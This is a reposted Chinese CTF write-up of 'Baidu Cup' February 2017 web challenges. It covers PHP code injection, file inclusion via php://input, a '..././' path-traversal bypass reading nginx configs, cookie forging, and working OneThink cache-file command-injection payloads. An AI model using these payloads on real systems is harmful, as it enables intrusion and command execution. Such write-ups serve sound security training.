未加星标

2017“百度杯”二月第二周Write Up

字体大小 | |
[web安全 所属分类 web安全 | 发布者 店小二03 | 时间 2017 | 作者 红领巾 ] 0人收藏点击收藏

1,爆破一


2017“百度杯”二月第二周Write Up

限制了只允许数字字母下划线

利用超全局变量 $GLOBALS


2017“百度杯”二月第二周Write Up

获得FLAG

 

2,爆破二


2017“百度杯”二月第二周Write Up

很明显的代码注入


2017“百度杯”二月第二周Write Up

获得FLAG

3,爆破三


2017“百度杯”二月第二周Write Up

SESSION nums需要>=10返回flag

初始化为0

其中substr(md5($value),5,4)==0是恒成立的

只要满足whoami 等于就会 对nums加1

Whoami初始化为ea

并且加一的同时会输出 下一个随机whoami值 不知道是不是题出错了 只需要提交10次就可以了


2017“百度杯”二月第二周Write Up
第一次提交value[0]=e&value[1]=a

接下来的value值根据输出出来的 对应构造请求就可以了


2017“百度杯”二月第二周Write Up

很明显的包含漏洞

phpinfo信息发现allow_url_include是开启的 可以利用php://input 等协议 执行任意代码


2017“百度杯”二月第二周Write Up

获得FLAG

5,Zone

 
2017“百度杯”二月第二周Write Up

设置了login=0

伪造login=1重新访问下


2017“百度杯”二月第二周Write Up

拿到一个管理页面

http://fff70c630e154d28b1f69c128565dc86cde01d11dc9342af.ctf.game/manages/admin.php?module=index&name=php

看样子是一个包含漏洞

测试fuzz

http://fff70c630e154d28b1f69c128565dc86cde01d11dc9342af.ctf.game/manages/admin.php?module=in../dex&name=php

返回正常

http://fff70c630e154d28b1f69c128565dc86cde01d11dc9342af.ctf.game/manages/admin.php?module=in./dex&name=php

返回空白

替换了../

双重构造饶过

http://fff70c630e154d28b1f69c128565dc86cde01d11dc9342af.ctf.game/manages/admin.php?module=..././..././..././..././..././etc/hosts&name=


2017“百度杯”二月第二周Write Up

包含日志 爆破上传路径均失败

查看了nginx.conf文件

http://fff70c630e154d28b1f69c128565dc86cde01d11dc9342af.ctf.game/manages/admin.php?module=..././..././..././..././..././etc/nginx/nginx.conf&name=


2017“百度杯”二月第二周Write Up

继续查看这个文件

http://fff70c630e154d28b1f69c128565dc86cde01d11dc9342af.ctf.game/manages/admin.php?module=..././..././..././..././..././etc/nginx/sites-enabled/default&name=


2017“百度杯”二月第二周Write Up

这里比较可疑 通过搜索引擎搜索 得知 这个地方设置错误会导致目录遍历下载漏洞

具体利用可百度


2017“百度杯”二月第二周Write Up

获得FLAG

6,Onethink

题目提示利用已知的漏洞拿shell,百度搜 “onethink 漏洞”,找到以下文章

http://www.ourlove520.com/Article/diannao/wangluo/227731.html //onethink最新通杀getshell定位分析

http://www.hackdig.com/06/hack-36510.html //thinkphp框架写的开源系统或被getshell tp官方onethink举例

大意是thinkphp的缓存方式缺陷配合onethink过滤不严造成的命令执行漏洞。

thinkphp的默认缓存方式S()是以File方式,在/Runtime/Temp 下生成文件名固定的缓存文件

onethink在/Runtime/Temp生成缓存文件2bb202459c30a1628513f40ab22fa01a.php,其中记录的用户名可以被用户控制,由于注册时只限制了用户名长度,没有对内容进行过滤,造成了命令执行漏洞。

虽然图都挂了,但是看代码和文字分析,把源码下回来本地搭环境测试了好久,勉强把漏洞利用复现出来。

由于限制了用户名长度,用burpsuit改包,注册下面2个帐号:

 

%0a$a=$_GET[a];//

 

%0aecho `$a`;//

然后依次登录,这里要注意顺序,因为先登录的会先写进缓存文件,顺序写反了就执行不了了

最后访问

/Runtime/Temp/2bb202459c30a1628513f40ab22fa01a.php?a=cat ../../flag.php

得到flag

通知

由于百度杯2月第三场比赛时间(2017/2/25 - 2017/2/26)与XCTF比赛郑州站ZCTF的比赛时间冲突,为了保证比赛的稳定运行,现决定

将百度杯2月第三周比赛的参赛时间提前两天,更改为2017/2/23 - 2017/2/24 (即本周四、周五),届时会在比赛相关群发送公告,敬请关注!也欢迎大家关注百度杯以及ZCTF~祝大家参赛愉快!^_^

【本文来自 i春秋,安全脉搏整理发布】

本文web安全相关术语:黑盒测试方法 黑盒测试和白盒测试 网站安全检测 360网站安全检测 网络安全知识 网络安全技术 网络信息安全 网络安全工程师

tags: php,http,ctf,fff70c630e154d28b1f69c128565dc86cde01d11dc9342af,manages,name,#038,module,漏洞,onethink,缓存,value
分页:12
转载请注明
本文标题:2017“百度杯”二月第二周Write Up
本站链接:http://www.codesec.net/view/536673.html
分享请点击:


1.凡CodeSecTeam转载的文章,均出自其它媒体或其他官网介绍,目的在于传递更多的信息,并不代表本站赞同其观点和其真实性负责;
2.转载的文章仅代表原创作者观点,与本站无关。其原创性以及文中陈述文字和内容未经本站证实,本站对该文以及其中全部或者部分内容、文字的真实性、完整性、及时性,不作出任何保证或承若;
3.如本站转载稿涉及版权等问题,请作者及时联系本站,我们会及时处理。
登录后可拥有收藏文章、关注作者等权限...
技术大类 技术大类 | web安全 | 评论(0) | 阅读(1821)